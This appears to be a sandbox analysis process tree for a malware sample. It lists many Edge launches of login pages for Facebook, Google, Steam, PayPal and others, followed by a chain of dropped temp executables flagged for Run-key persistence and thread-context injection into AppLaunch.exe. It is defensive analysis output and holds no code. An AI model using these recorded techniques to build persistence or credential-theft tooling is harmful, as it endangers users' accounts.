C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2192,15402660115874132617,13913321874402662179,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2208 /prefetch:26⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2192,15402660115874132617,13913321874402662179,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 /prefetch:36⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login5⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffce2cc46f8,0x7ffce2cc4708,0x7ffce2cc47186⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2156,11654989017046019507,16696360969443171884,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 /prefetch:36⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/5⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffce2cc46f8,0x7ffce2cc4708,0x7ffce2cc47186⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2172,18397961388107893008,12874836558248783413,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 /prefetch:36⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2172,18397961388107893008,12874836558248783413,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2184 /prefetch:26⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://store.steampowered.com/login/5⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffce2cc46f8,0x7ffce2cc4708,0x7ffce2cc47186⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2256 /prefetch:26⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 /prefetch:36⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2768 /prefetch:86⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3308 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3940 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3680 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3960 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3944 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3912 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5252 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5068 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5452 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6384 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6372 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5724 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7108 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7288 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7408 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7564 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7736 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7876 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8188 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8052 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8316 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5532 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5312 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7772 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6220 /prefetch:86⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9064 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8824 /prefetch:16⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2024,7506205256033052145,9211667231804142201,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6220 /prefetch:86⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://twitter.com/i/flow/login5⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x104,0x170,0x7ffce2cc46f8,0x7ffce2cc4708,0x7ffce2cc47186⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2152,12288434668544443536,2981973036688719560,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 /prefetch:36⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://steamcommunity.com/openid/loginform/5⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffce2cc46f8,0x7ffce2cc4708,0x7ffce2cc47186⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1992,18088597792744828238,3230468238265353394,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2140 /prefetch:26⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1992,18088597792744828238,3230468238265353394,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 /prefetch:36⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.epicgames.com/id/login5⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffce2cc46f8,0x7ffce2cc4708,0x7ffce2cc47186⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/signin5⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x80,0x16c,0x7ffce2cc46f8,0x7ffce2cc4708,0x7ffce2cc47186⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/5⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffce2cc46f8,0x7ffce2cc4708,0x7ffce2cc47186⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/5⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x13c,0x170,0x7ffce2cc46f8,0x7ffce2cc4708,0x7ffce2cc47186⤵
-
C:\Users\Admin\AppData\Local\Temp\9FE.exeC:\Users\Admin\AppData\Local\Temp\9FE.exe2⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\IN8gZ5gn.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\IN8gZ5gn.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xU8mT4YJ.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xU8mT4YJ.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Fb6jM0Il.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Fb6jM0Il.exe5⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\nk2Rg5kr.exeC:\Users\Admin\AppData\Local\Temp\IXP004.TMP\nk2Rg5kr.exe6⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1dI10GX0.exeC:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1dI10GX0.exe7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"8⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1492 -s 5409⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2iI657iQ.exeC:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2iI657iQ.exe7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\D6A.exeC:\Users\Admin\AppData\Local\Temp\D6A.exe2⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\101A.bat" "2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login3⤵
-
